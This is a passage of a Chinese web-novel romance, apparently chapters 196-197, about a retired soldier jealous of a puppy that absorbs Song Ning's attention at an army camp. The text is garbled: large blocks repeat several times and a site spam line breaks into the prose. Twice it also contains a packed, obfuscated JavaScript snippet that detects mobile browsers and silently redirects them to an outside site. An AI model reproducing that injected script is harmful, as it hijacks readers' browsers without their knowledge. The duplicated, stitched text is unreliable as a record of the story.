来,接下来就能跟宋凝拉近距离,让彼此的感情升一下温了,但却架不住宋凝完全不按套路出牌。 接下来的半天里,他更是深切的体会到了什么叫人不如狗。 宋凝不知是觉得新鲜,还是被滚滚可爱的模样给迷住了。 待它爱不释手不说,还全身心的都投入到了它身上,别说给给丁予期表现的机会了,就连他的训练都不看了。 这样下去可不是办法。 丁予期视滚滚为眼中钉,却又不便更拉不下脸来跟几个月大的小狗争宠,无奈之下变着法子秀起了自己的优势。 训练间隙,老朋友们起哄让他展示一下这几年在外面健身的成功,他见宋凝正从对面走过来,二话不说,打着赤膊就做起了引体向上,并且是一鼓作气做了二十个没有停歇。 这番表现怎么看都算得上优秀了,然而等他悄悄去瞥宋凝的反应才发现,她压根就没往他这里多看哪怕一眼,而是一直在低头跟怀里的小狗说着什么,直到背影消失在他的视野范围里。 丁予期一颗心险些碎在当场,手下难免跟着打滑,结果一时不察,竟是直接从单杠上跌了下来,得亏他身手敏捷,及时撑住才没拉伤。 其他人一眼就看出他为什么失态,纷纷上前出谋划策:“丁哥,你别着急,嫂子天天看你秀肌肉,这再好看也会腻,要我说你得换个角度展示自己的长处,比如能让她眼前一亮的。” 丁予期看起来风轻云淡,其实早就急得快从心底冒火了,他仔细思索过后,倒是把其他人的话给听进去了,决定更改一下吸引宋凝注意力的路线。 天气这么热,没有人总是喜欢挨晒。 他天天在大太阳底下吸引她的注意力,她难免会腻,所以当务之急是换个舒服点的地方,至少让她别跟着挨晒。 丁予期深思熟虑过后,选择邀请宋凝去军营陈列室转一圈。 老姚他们得知此事,不约而同的交换了目光,然后各自寻了由头,表示就不陪着一起去了。 唐婷不放心,还想跟着一起,但大拿及时出马,表示要带她去看狙击手训练,这才给劝走。 祝如星不用任何人劝,自己就知道给他们创造空间,举着相机表示:“陈列室这种地方涉密,我就不去了,等你们逛完了,我再去凑热闹。” 她走的极快,连相机带子都在身后飘起来了。 宋凝怀里抱着小狗,无奈叹了口气:“这可怎么办?本来还想拍几张照的。” 丁予期理所当然的以为她是在跟自己说话,连忙温声应道:“这有什么?不过是小事罢了,我可以帮你拍,其实陈列室不涉密,只要你不随便把照片往外发也就是了。” 回应他的是宋凝的停顿和欲言又止的表情。 丁予期越发关切道:“怎么了?是还有别的顾虑么?” “那倒没有。”宋凝怀里抱着滚滚,不失尴尬的解释道,“其实我刚刚是在跟滚滚说话,想拍的照片也是让星星给它拍几张纪念照,毕竟她是专业的,这里只有她拍照最好看。” 丁予期一口气梗在喉头:“我也可以帮它拍。” 他理智上知道跟滚滚这样的小狗争宠实在是显得幼稚,也很清楚宋凝大概率就是图个新鲜,等过阵子就没这么稀罕了,但情感上还是按捺不住的在吃醋。 宋凝对此毫无察觉,只一手握住滚滚的小爪子,一手托住它的身体说:“时间太晚了,我还是等等星星吧。” 来,接下来就能跟宋凝拉近距离,让彼此的感情升一下温了,但却架不住宋凝完全不按套路出牌。 接下来的半天里,他更是深切的体会到了什么叫人不如狗。 宋凝不知是觉得新鲜,还是被滚滚可爱的模样给迷住了。 待它爱不释手不说,还全身心的都投入到了它身上,别说给给丁予期表现的机会了,就连他的训练都不看了。 这样下去可不是办法。 丁予期视滚滚为眼中钉,却又不便更拉不下脸来跟几个月大的小狗争宠,无奈之下变着法子秀起了自己的优势。 训练间隙,老朋友们起哄让他展示一下这几年在外面健身的成功,他见宋凝正从对面走过来,二话不说,打着赤膊就做起了引体向上,并且是一鼓作气做了二十个没有停歇。 这番表现怎么看都算得上优秀了,然而等他悄悄去瞥宋凝的反应才发现,她压根就没往他这里多看哪怕一眼,而是一直在低头跟怀里的小狗说着什么,直到背影消失在他的视野范围里。 丁予期一颗心险些碎在当场,手下难免跟着打滑,结果一时不察,竟是直接从单杠上跌了下来,得亏他身手敏捷,及时撑住才没拉伤。 其他人一眼就看出他为什么失态,纷纷上前出谋划策:“丁哥,你别着急,嫂子天天看你秀肌肉,这再好看也会腻,要我说你得换个角度展示自己的长处,比如能让她眼前一亮的。” 丁予期看起来风轻云淡,其实早就急得快从心底冒火了,他仔细思索过后,倒是把其他人的话给听进去了,决定更改一下吸引宋凝注意力的路线。 天气这么热,没有人总是喜欢挨晒。 他天天在大太阳底下吸引她的注意力,她难免会腻,所以当务之急是换个舒服点的地方,至少让她别跟着挨晒。 丁予期深思熟虑过后,选择邀请宋凝去军营陈列室转一圈。 老姚他们得知此事,不约而同的交换了目光,然后各自寻了由头,表示就不陪着一起去了。 唐婷不放心,还想跟着一起,但大拿及时出马,表示要带她去看狙击手训练,这才给劝走。 祝如星不用任何人劝,自己就知道给他们创造空间,举着相机表示:“陈列室这种地方涉密,我就不去了,等你们逛完了,我再去凑热闹。” 她走的极快,连相机带子都在身后飘起来了。 宋凝怀里抱着小狗,无奈叹了口气:“这可怎么办?本来还想拍几张照的。” 丁予期理所当然的以为她是在跟自己说话,连忙温声应道:“这有什么?不过是小事罢了,我可以帮你拍,其实陈列室不涉密,只要你不随便把照片往外发也就是了。” 回应他的是宋凝的停顿和欲言又止的表情。 丁予期越发关切道:“怎么了?是还有别的顾虑么?” “那倒没有。”宋凝怀里抱着滚滚,不失尴尬的解释道,“其实我刚刚是在跟滚滚说话,想拍的照片也是让星星给它拍几张纪念照,毕竟她是专业的,这里只有她拍照最好看。” 丁予期一口气梗在喉头:“我也可以帮它拍。” 他理智上知道跟滚滚这样的小狗争宠实在是显得幼稚,也很清楚宋凝大概率就是图个新鲜,等过阵子就没这么稀罕了,但情感上还是按捺不住的在吃醋。 宋凝对此毫无察觉,只一手握住滚滚的小爪子,一手托住它的身体说:“时间太晚了,我还是等等星星吧。” 第一百九十六章 半路杀出个滚滚来 滚滚哼哼唧唧的躲在她怀里,看样子也是不打算跟别人撒娇了。 丁予期没法子,只好从头开始,试图用陈列室里其它更显眼的东西证明自己:“说的也是,这种事急不得,毕竟术业有专攻。喏,你看这个奖牌。 他看似无意的冲着眼前的墙面抬了下下颌,而上面挂着的琳琅满目的奖牌中,赫然有属于他的荣誉,并且还不少。 宋凝怀里抱着滚滚,目光若有所思的落在上面挪不开了,而丁予期以为她是对这些感兴趣,心中暗暗有些得意的介绍起来。 “那些其实是老黄历了,都是我刚来这边没多久的事,有比武大赛,内勤标兵…… 他得过的奖项不仅多,内容也丰富,可见是个能文能武的人才。 宋凝看起来听的很认真,但落实到行动上却是凑近看了一会儿问:“这个奖杯也是你的么? 她问的是放在陈列架最前方,看起来毫不起眼的一个奖杯。 丁予期没想到她会对这样东西感兴趣,认真思索了好一会儿才想起它的来历:“这是个纪念奖来着,你喜欢的话就送给你了好了? “真的么?宋凝难以置信的问了句,缓缓睁圆了眼睛看着他说,“送给我的话,我拿去做什么都可以么? 她一边说一边抚摸着怀里的滚滚,瞧着像是在天人交战,不知道接下来的话应不应该说。 丁予期心底涌起一阵不祥的预感,但来都来了,还是认真道:“当然。 他直接把那个奖杯拿了出来,递给宋凝说:“给你。 奖杯是有些年头的旧物了,但胜在保管的很新,看起来说是今年的新物件都有人信。 宋凝注意到上面某某年拉练大赛的纪念奖字样,却是婉拒道:“算了,还是你留着吧,我刚刚想到的用途不太合适。 丁予期原本就好奇她想到了什么,这时便一本正经的说:“合不合适的总得先告诉我,兴许我觉得合适。 宋凝看他非要个答案不可,这才实话实说的比量着奖杯大小道:“老姚给滚滚准备的碗太大了,它喝水总呛着,我看这个奖杯的大小挺合适。 她话音越来越低,是自己也觉得这个说法有些太不把丁予期的荣誉当回事了,立刻又补充道:“抱歉,我没有要拿你的奖杯给滚滚当狗碗的意思,只是……觉得大小有点合适。 发散性思维是控制不住的,一旦存在就会总往那个方向上想,让她想收都收不住。 丁予期得知是这么个缘故,表情变化相当精彩 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ,但最终还是深呼吸一口,扯出个笑容道:“没什么不合适的,更没有什么需要道歉的地方,既然大小合适,那就给滚滚当狗碗好了,反正这样的奖杯我有的是。” 他见宋凝不好意思收,态度反而变得无比坚决,是非要她留下这个奖杯不可:“都是为了滚滚。” 宋凝见他心意已决,这才收下了奖杯,握着滚滚的一只小爪子冲他挥了挥:“滚滚,乖,听妈妈的话,谢谢丁叔叔。” 滚滚才来到宋凝身边不到三天,然而地位水涨船高,已经混了心肝宝贝一样的存在。 丁予期以为自己怎么着都能混成滚滚爸爸,听宋凝说他是滚滚的丁叔叔,一口气险些梗在喉头。 滚滚不肯叫,甚至还朝他飞了一个白眼,然后屁股一扭就钻到宋凝怀里去了,用小屁股对着他。 丁予期看的心里窝火,这家伙才这么小,就会狗仗人势了? 跟谁学的都是。 宋凝笑着解释了一下:“它还小,等再养一段时间,培养出了感情它就会喜欢你了。” 丁予期:“养再久它也不能真叫我丁叔叔啊。” 宋凝无语:“它要是真的开口叫你叔叔,那就是人间奇闻了好吗?” 丁予期在它圆嘟嘟的小屁屁上拍了一记:“你不是它妈妈么?孩子不懂礼貌你不教教?” “你不是也有三个好大儿?这么久了,你也没教会它们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273578|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫**妈啊。” 想起那三个好好大儿,丁予期冷哼了一声,也都是些没良心的狗崽子。 明明是他养大的,后来反而都跟宋凝比较亲。 他倒也不是吃醋这个,主要是宋凝对狗子们比对他还上心,这就让人很不爽。 本来以为来了军营,没有傅东擎搅局,也没有其他乱七八糟的事情烦人,他跟宋凝每天都关在这个营地里,天天抬头不见低头见的,总能加深一下感情。 这下可好了。 半路杀出个滚滚来。 老姚这家伙也是的,好端端的弄什么狗,真是成事不足败事有余! 这天晚上,丁予期为了补上缺席的训练,一直在训练场待到深夜,他虽然已经退役,却成了当天最晚离开的那个人。 兄弟们见他这么辛苦,却还是板着脸挥汗如雨,一副要把自己练成钢筋铁骨的模样,忍不住开始窃窃私语。 “丁哥看起来怎么跟失恋了似的?昨天跟嫂子不是都还好好的么?” “这里又没人跟丁哥雄竞,小嫂子也不在这里,该不会是丁哥发现自己不年轻了,所以有危机了吧?” “嗨,你们不了解情况,小嫂子养了只小狗,现在注意力都不在丁哥身上了,这不得想想办法么……” 丁予期将兄弟们的议论声听的清清楚楚,然而面上半点不露,只跟往常一样,在结束训练后冲凉更衣,然后才往宿舍所在的方向走去。 这是他新近养成的习惯,为了不影响宋凝休息,所以哪怕宿舍里就有独立卫浴,也还是会选择在公区洗澡。 当丁予期轻手轻脚的推开宿舍门时,宋凝果然已经睡着了,她拉着床帘,只留给他一个影影绰绰的轮廓。 室内安静无比,连钟表的嘀嗒声都没有,能听见的只有她绵长的呼吸声。 丁予期心念一动,当即悄悄靠近了床边,想看看她是否已经安睡,可他才刚凑近,趴在宋凝枕边的滚滚就一跃而起,开始冲着他大叫! “汪汪汪!” 第一百九十七章 家庭地位排第六 滚滚个头不大,叫声却相当响亮,让睡梦中的宋凝迷迷糊糊的蹙起眉心:“滚滚,乖,别闹了……” 她困的厉害,伸手把滚滚揽到怀里就又沉沉睡去。 丁琪养狗这么多年,连三只德牧都能搞定,还是第一次被嫌弃成这样,顿时一口气梗在心头。 黑暗中,滚滚对他的沮丧毫不在意,扭头就钻到宋凝怀里继续撒娇去了。 丁予期试图等滚滚安静下来再悄悄多看宋凝一眼,然而直到他困的沉沉睡去都没能再找到机会、 不是他不努力,而是滚滚实在是太警觉,只要他一靠近宋凝,马上就会戒备的冲着他吠叫。 活像是个保护妈妈的小卫兵。 这么小的一条狗,警惕性和护主的心思倒是很重,看的丁予期又是觉得好笑又是觉得无奈。 最后只能是向它妥协,试图用示好的方式获得它的喜欢。 不就是跟小狗建立起良好关系吗? 他连三只德牧都能养,没道理处理不好这点小事。 丁予期信心十足的给瑞贝卡打电话,让她去他从前常去的宠物店买了一大堆宠物用品和玩具送过来,为的就是俘获滚滚。 等第二天东西送到,他第一时间就拿去试了试。 结果这小家伙却一点都不买账,对玩具和零食全都不感兴趣,只知道围在宋凝身边撒娇。 “好乖!”宋凝摸了摸它毛茸茸的脑袋,撕开一袋奶糕送到它嘴边,它这才高兴的摇起尾巴,张开嘴吃了一口。 丁予期试图如法炮制,结果滚滚变脸比翻书还快,直接拧过身子用尾巴对着他。 老姚还是第一次见丁予期这么不招狗喜欢,啧啧称奇道:“丁儿,你这不行啊,这么个小家伙都这么不喜欢你,看看小嫂子,多招小动物喜欢。” 说着,他试图伸手也逗弄一下滚滚,结果获得了丁予期同款待遇,唯一值得庆幸的地方就是没有被吠和驱赶,而是收获了一个背影。 祝如星和唐婷因此好奇不已,也试图上前去摸一摸滚滚,这一次倒是被它接受了。 滚滚在三个女孩子堆里混的如鱼得水,反应跟面对丁予期他们时根本判若两狗。 这让老姚忍不住吐槽了一句:“我明白了,这小家伙就是双标,喜欢女孩子,不喜欢我们这样的糙老爷们呗。” 说着,他不忘跟丁予期也调侃道:“丁儿,你这次任重而道远啊,等回家之后,家庭地位得排第六了,以后——” 这话说到一半,萝卜连忙在旁边扯了他 一下,就差直接问他怎么哪壶不开提哪壶了。 丁予期对外名义上是宋凝的丈夫了不假,但是一码归一码,别人不知道,他们这些自家兄弟还不知道么? 他哪里有名分啊,在她那里恐怕也就是勉勉强强,刚成为能被考虑的异性吧。 老姚最近总是说错话,登时悔的肠子都青了,他连连抬手去拍自己的嘴,懊恼不已的表示:“丁儿,我说错话了,你千万别放在心上。” 丁予期脸色不住变幻,最后直接黑成了能刮下一层灰的锅底,他对老姚的话置若罔闻,只看了眼时间吩咐道:“训练时间到了,一个个的还站在这里凑什么热闹?” 其他看热闹的现役士兵都知道他最近代替陈**安排训练,一个个大气都不敢出,马上就该归队的归队,该去别处的去别处了。 萝卜连忙后退:“丁总明鉴,我早退伍了,而且我也没凑热闹啊。” 丁予期的目光又往旁边看去。 大拿抬了抬打石膏的手臂:“我有正当理由。” 老姚见他们两个都混过去了,笑嘻嘻的也说:“丁儿,咱俩谁跟谁啊,我就不用了吧?” “你来都来了,当然用得着,况且我看你最近特别活跃,也该多锻炼一下,消耗一下多余的旺盛精力了。”丁予期冷飕飕的眼风看了过去。 老姚对上他的目光,立刻意识到自己这次是无论如何也跑不脱了,叫苦不迭的同时只能跟着去。 丁予期许是心情格外郁闷,今天安排的训练任务都比以往更重了,让众人纷纷叫苦不迭。 祝如星看着眼前一大帮绕着操场负重跑的年轻小伙子,感慨道:“难怪训练项目都算涉密内容不能拍,这也太苦了点,要是拍下来发出去,不敢吃苦的人肯定都跑了。” 唐婷这几日总跟大拿待在一起恶补相关知识,对军营里的日常训练量多少也算有些了解,这时便不失担忧的问:“二十公里负重跑是不是太夸张了点?这得是特种部队才会有的强度吧。” 大拿若有所思的表示:“特种部队也不是天天都这么大强度大,二十公里都算得上是马拉松了,更何况他们还有负重,我看大概是丁儿心里苦吧。” 唐婷更纳罕了:“那他叫上老姚一起跑算怎么回事?” 这次大拿没说话,是不知道该怎么跟她解释,倒是萝卜清了清嗓子:“谁让他这个马屁拍到马蹄子上去了呢。” 他若有所思的看向跟滚滚玩的太过投入,所以压根不曾参与到他们的讨论中的宋凝身上去了。 除了当事人以外,其他人想必多多少少都看出来了,丁予期分明是在吃滚滚的醋。 只不过男子汉大丈夫,跟毛绒玩具大的小狗吃醋显然是太幼稚,所以丁予期固然郁闷的不得了,也只能是把邪火都发到老姚身上。 谁让这狗是老姚送的呢? 老姚退伍多年,又不像大拿一样坚持训练,体能和精力早都退化了,让他靠从前的底子跟着训练一会儿还行,但一上强度可就完蛋了。 偏偏丁予期那股邪火总也无处发散,他在接下来的几日里过的那叫一个遭殃。 别说是训练了,就连丁予期义务参加附近的志愿任务都得跟着一起去。 大拿和萝卜他们出于同情,也帮着出谋划策过一番。 奈何宋凝太喜欢滚滚,他们出的主意没一个有用的不说,还差点把自己也给搭进去了。 有一个算一个,都要步了老姚的后尘。 一下,就差直接问他怎么哪壶不开提哪壶了。 丁予期对外名义上是宋凝的丈夫了不假,但是一码归一码,别人不知道,他们这些自家兄弟还不知道么? 他哪里有名分啊,在她那里恐怕也就是勉勉强强,刚成为能被考虑的异性吧。 老姚最近总是说错话,登时悔的肠子都青了,他连连抬手去拍自己的嘴,懊恼不已的表示:“丁儿,我说错话了,你千万别放在心上。” 丁予期脸色不住变幻,最后直接黑成了能刮下一层灰的锅底,他对老姚的话置若罔闻,只看了眼时间吩咐道:“训练时间到了,一个个的还站在这里凑什么热闹?” 其他看热闹的现役士兵都知道他最近代替陈**安排训练,一个个大气都不敢出,马上就该归队的归队,该去别处的去别处了。 萝卜连忙后退:“丁总明鉴,我早退伍了,而且我也没凑热闹啊。” 丁予期的目光又往旁边看去。 大拿抬了抬打石膏的手臂:“我有正当理由。” 老姚见他们两个都混过去了,笑嘻嘻的也说:“丁儿,咱俩谁跟谁啊,我就不用了吧?” “你来都来了,当然用得着,况且我看你最近特别活跃,也该多锻炼一下,消耗一下多余的旺盛精力了。”丁予期冷飕飕的眼风看了过去。 老姚对上他的目光,立刻意识到自己这次是无论如何也跑不脱了,叫苦不迭的同时只能跟着去。 丁予期许是心情格外郁闷,今天安排的训练任务都比以往更重了,让众人纷纷叫苦不迭。 祝如星看着眼前一大帮绕着操场负重跑的年轻小伙子,感慨道:“难怪训练项目都算涉密内容不能拍,这也太苦了点,要是拍下来发出去,不敢吃苦的人肯定都跑了。” 唐婷这几日总跟大拿待在一起恶补相关知识,对军营里的日常训练量多少也算有些了解,这时便不失担忧的问:“二十公里负重跑是不是太夸张了点?这得是特种部队才会有的强度吧。” 大拿若有所思的表示:“特种部队也不是天天都这么大强度大,二十公里都算得上是马拉松了,更何况他们还有负重,我看大概是丁儿心里苦吧。” 唐婷更纳罕了:“那他叫上老姚一起跑算怎么回事?” 这次大拿没说话,是不知道该怎么跟她解释,倒是萝卜清了清嗓子:“谁让他这个马屁拍到马蹄子上去了呢。” 他若有所思的看向跟滚滚玩的太过投入,所以压根不曾参与到他们的讨论中的宋凝身上去了。 除了当事人以外,其他人想必多多少少都看出来了,丁予期分明是在吃滚滚的醋。 只不过男子汉大丈夫,跟毛绒玩具大的小狗吃醋显然是太幼稚,所以丁予期固然郁闷的不得了,也只能是把邪火都发到老姚身上。 谁让这狗是老姚送的呢? 老姚退伍多年,又不像大拿一样坚持训练,体能和精力早都退化了,让他靠从前的底子跟着训练一会儿还行,但一上强度可就完蛋了。 偏偏丁予期那股邪火总也无处发散,他在接下来的几日里过的那叫一个遭殃。 别说是训练了,就连丁予期义务参加附近的志愿任务都得跟着一起去。 大拿和萝卜他们出于同情,也帮着出谋划策过一番。 奈何宋凝太喜欢滚滚,他们出的主意没一个有用的不说,还差点把自己也给搭进去了。 有一个算一个,都要步了老姚的后尘。 一下,就差直接问他怎么哪壶不开提哪壶了。 丁予期对外名义上是宋凝的丈夫了不假,但是一码归一码,别人不知道,他们这些自家兄弟还不知道么? 他哪里有名分啊,在她那里恐怕也就是勉勉强强,刚成为能被考虑的异性吧。 老姚最近总是说错话,登时悔的肠子都青了,他连连抬手去拍自己的嘴,懊恼不已的表示:“丁儿,我说错话了,你千万别放在心上。” 丁予期脸色不住变幻,最后直接黑成了能刮下一层灰的锅底,他对老姚的话置若罔闻,只看了眼时间吩咐道:“训练时间到了,一个个的还站在这里凑什么热闹?” 其他看热闹的现役士兵都知道他最近代替陈**安排训练,一个个大气都不敢出,马上就该归队的归队,该去别处的去别处了。 萝卜连忙后退:“丁总明鉴,我早退伍了,而且我也没凑热闹啊。” 丁予期的目光又往旁边看去。 大拿抬了抬打石膏的手臂:“我有正当理由。” 老姚见他们两个都混过去了,笑嘻嘻的也说:“丁儿,咱俩谁跟谁啊,我就不用了吧?” “你来都来了,当然用得着,况且我看你最近特别活跃,也该多锻炼一下,消耗一下多余的旺盛精力了。”丁予期冷飕飕的眼风看了过去。 老姚对上他的目光,立刻意识到自己这次是无论如何也跑不脱了,叫苦不迭的同时只能跟着去。 丁予期许是心情格外郁闷,今天安排的训练任务都比以往更重了,让众人纷纷叫苦不迭。 祝如星看着眼前一大帮绕着操场负重跑的年轻小伙子,感慨道:“难怪训练项目都算涉密内容不能拍,这也太苦了点,要是拍下来发出去,不敢吃苦的人肯定都跑了。” 唐婷这几日总跟大拿待在一起恶补相关知识,对军营里的日常训练量多少也算有些了解,这时便不失担忧的问:“二十公里负重跑是不是太夸张了点?这得是特种部队才会有的强度吧。” 大拿若有所思的表示:“特种部队也不是天天都这么大强度大,二十公里都算得上是马拉松了,更何况他们还有负重,我看大概是丁儿心里苦吧。” 唐婷更纳罕了:“那他叫上老姚一起跑算怎么回事?” 这次大拿没说话,是不知道该怎么跟她解释,倒是萝卜清了清嗓子:“谁让他这个马屁拍到马蹄子上去了呢。” 他若有所思的看向跟滚滚玩的太过投入,所以压根不曾参与到他们的讨论中的宋凝身上去了。 除了当事人以外,其他人想必多多少少都看出来了,丁予期分明是在吃滚滚的醋。 只不过男子汉大丈夫,跟毛绒玩具大的小狗吃醋显然是太幼稚,所以丁予期固然郁闷的不得了,也只能是把邪火都发到老姚身上。 谁让这狗是老姚送的呢? 老姚退伍多年,又不像大拿一样坚持训练,体能和精力早都退化了,让他靠从前的底子跟着训练一会儿还行,但一上强度可就完蛋了。 偏偏丁予期那股邪火总也无处发散,他在接下来的几日里过的那叫一个遭殃。 别说是训练了,就连丁予期义务参加附近的志愿任务都得跟着一起去。 大拿和萝卜他们出于同情,也帮着出谋划策过一番。 奈何宋凝太喜欢滚滚,他们出的主意没一个有用的不说,还差点把自己也给搭进去了。 有一个算一个,都要步了老姚的后尘。 一下,就差直接问他怎么哪壶不开提哪壶了。 丁予期对外名义上是宋凝的丈夫了不假,但是一码归一码,别人不知道,他们这些自家兄弟还不知道么? 他哪里有名分啊,在她那里恐怕也就是勉勉强强,刚成为能被考虑的异性吧。 老姚最近总是说错话,登时悔的肠子都青了,他连连抬手去拍自己的嘴,懊恼不已的表示:“丁儿,我说错话了,你千万别放在心上。” 丁予期脸色不住变幻,最后直接黑成了能刮下一层灰的锅底,他对老姚的话置若罔闻,只看了眼时间吩咐道:“训练时间到了,一个个的还站在这里凑什么热闹?” 其他看热闹的现役士兵都知道他最近代替陈**安排训练,一个个大气都不敢出,马上就该归队的归队,该去别处的去别处了。 萝卜连忙后退:“丁总明鉴,我早退伍了,而且我也没凑热闹啊。” 丁予期的目光又往旁边看去。 大拿抬了抬打石膏的手臂:“我有正当理由。” 老姚见他们两个都混过去了,笑嘻嘻的也说:“丁儿,咱俩谁跟谁啊,我就不用了吧?” “你来都来了,当然用得着,况且我看你最近特别活跃,也该多锻炼一下,消耗一下多余的旺盛精力了。”丁予期冷飕飕的眼风看了过去。 老姚对上他的目光,立刻意识到自己这次是无论如何也跑不脱了,叫苦不迭的同时只能跟着去。 丁予期许是心情格外郁闷,今天安排的训练任务都比以往更重了,让众人纷纷叫苦不迭。 祝如星看着眼前一大帮绕着操场负重跑的年轻小伙子,感慨道:“难怪训练项目都算涉密内容不能拍,这也太苦了点,要是拍下来发出去,不敢吃苦的人肯定都跑了。” 唐婷这几日总跟大拿待在一起恶补相关知识,对军营里的日常训练量多少也算有些了解,这时便不失担忧的问:“二十公里负重跑是不是太夸张了点?这得是特种部队才会有的强度吧。” 大拿若有所思的表示:“特种部队也不是天天都这么大强度大,二十公里都算得上是马拉松了,更何况他们还有负重,我看大概是丁儿心里苦吧。” 唐婷更纳罕了:“那他叫上老姚一起跑算怎么回事?” 这次大拿没说话,是不知道该怎么跟她解释,倒是萝卜清了清嗓子:“谁让他这个马屁拍到马蹄子上去了呢。” 他若有所思的看向跟滚滚玩的太过投入,所以压根不曾参与到他们的讨论中的宋凝身上去了。 除了当事人以外,其他人想必多多少少都看出来了,丁予期分明是在吃滚滚的醋。 只不过男子汉大丈夫,跟毛绒玩具大的小狗吃醋显然是太幼稚,所以丁予期固然郁闷的不得了,也只能是把邪火都发到老姚身上。 谁让这狗是老姚送的呢? 老姚退伍多年,又不像大拿一样坚持训练,体能和精力早都退化了,让他靠从前的底子跟着训练一会儿还行,但一上强度可就完蛋了。 偏偏丁予期那股邪火总也无处发散,他在接下来的几日里过的那叫一个遭殃。 别说是训练了,就连丁予期义务参加附近的志愿任务都得跟着一起去。 大拿和萝卜他们出于同情,也帮着出谋划策过一番。 奈何宋凝太喜欢滚滚,他们出的主意没一个有用的不说,还差点把自己也给搭进去了。 有一个算一个,都要步了老姚的后尘。 一下,就差直接问他怎么哪壶不开提哪壶了。 丁予期对外名义上是宋凝的丈夫了不假,但是一码归一码,别人不知道,他们这些自家兄弟还不知道么? 他哪里有名分啊,在她那里恐怕也就是勉勉强强,刚成为能被考虑的异性吧。 老姚最近总是说错话,登时悔的肠子都青了,他连连抬手去拍自己的嘴,懊恼不已的表示:“丁儿,我说错话了,你千万别放在心上。” 丁予期脸色不住变幻,最后直接黑成了能刮下一层灰的锅底,他对老姚的话置若罔闻,只看了眼时间吩咐道:“训练时间到了,一个个的还站在这里凑什么热闹?” 其他看热闹的现役士兵都知道他最近代替陈**安排训练,一个个大气都不敢出,马上就该归队的归队,该去别处的去别处了。 萝卜连忙后退:“丁总明鉴,我早退伍了,而且我也没凑热闹啊。” 丁予期的目光又往旁边看去。 大拿抬了抬打石膏的手臂:“我有正当理由。” 老姚见他们两个都混过去了,笑嘻嘻的也说:“丁儿,咱俩谁跟谁啊,我就不用了吧?” “你来都来了,当然用得着,况且我看你最近特别活跃,也该多锻炼一下,消耗一下多余的旺盛精力了。”丁予期冷飕飕的眼风看了过去。 老姚对上他的目光,立刻意识到自己这次是无论如何也跑不脱了,叫苦不迭的同时只能跟着去。 丁予期许是心情格外郁闷,今天安排的训练任务都比以往更重了,让众人纷纷叫苦不迭。 祝如星看着眼前一大帮绕着操场负重跑的年轻小伙子,感慨道:“难怪训练项目都算涉密内容不能拍,这也太苦了点,要是拍下来发出去,不敢吃苦的人肯定都跑了。” 唐婷这几日总跟大拿待在一起恶补相关知识,对军营里的日常训练量多少也算有些了解,这时便不失担忧的问:“二十公里负重跑是不是太夸张了点?这得是特种部队才会有的强度吧。” 大拿若有所思的表示:“特种部队也不是天天都这么大强度大,二十公里都算得上是马拉松了,更何况他们还有负重,我看大概是丁儿心里苦吧。” 唐婷更纳罕了:“那他叫上老姚一起跑算怎么回事?” 这次大拿没说话,是不知道该怎么跟她解释,倒是萝卜清了清嗓子:“谁让他这个马屁拍到马蹄子上去了呢。” 他若有所思的看向跟滚滚玩的太过投入,所以压根不曾参与到他们的讨论中的宋凝身上去了。 除了当事人以外,其他人想必多多少少都看出来了,丁予期分明是在吃滚滚的醋。 只不过男子汉大丈夫,跟毛绒玩具大的小狗吃醋显然是太幼稚,所以丁予期固然郁闷的不得了,也只能是把邪火都发到老姚身上。 谁让这狗是老姚送的呢? 老姚退伍多年,又不像大拿一样坚持训练,体能和精力早都退化了,让他靠从前的底子跟着训练一会儿还行,但一上强度可就完蛋了。 偏偏丁予期那股邪火总也无处发散,他在接下来的几日里过的那叫一个遭殃。 别说是训练了,就连丁予期义务参加附近的志愿任务都得跟着一起去。 大拿和萝卜他们出于同情,也帮着出谋划策过一番。 奈何宋凝太喜欢滚滚,他们出的主意没一个有用的不说,还差点把自己也给搭进去了。 有一个算一个,都要步了老姚的后尘。 一下,就差直接问他怎么哪壶不开提哪壶了。 丁予期对外名义上是宋凝的丈夫了不假,但是一码归一码,别人不知道,他们这些自家兄弟还不知道么? 他哪里有名分啊,在她那里恐怕也就是勉勉强强,刚成为能被考虑的异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273579|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性吧。 老姚最近总是说错话,登时悔的肠子都青了,他连连抬手去拍自己的嘴,懊恼不已的表示:“丁儿,我说错话了,你千万别放在心上。” 丁予期脸色不住变幻,最后直接黑成了能刮下一层灰的锅底,他对老姚的话置若罔闻,只看了眼时间吩咐道:“训练时间到了,一个个的还站在这里凑什么热闹?” 其他看热闹的现役士兵都知道他最近代替陈**安排训练,一个个大气都不敢出,马上就该归队的归队,该去别处的去别处了。 萝卜连忙后退:“丁总明鉴,我早退伍了,而且我也没凑热闹啊。” 丁予期的目光又往旁边看去。 大拿抬了抬打石膏的手臂:“我有正当理由。” 老姚见他们两个都混过去了,笑嘻嘻的也说:“丁儿,咱俩谁跟谁啊,我就不用了吧?” “你来都来了,当然用得着,况且我看你最近特别活跃,也该多锻炼一下,消耗一下多余的旺盛精力了。”丁予期冷飕飕的眼风看了过去。 老姚对上他的目光,立刻意识到自己这次是无论如何也跑不脱了,叫苦不迭的同时只能跟着去。 丁予期许是心情格外郁闷,今天安排的训练任务都比以往更重了,让众人纷纷叫苦不迭。 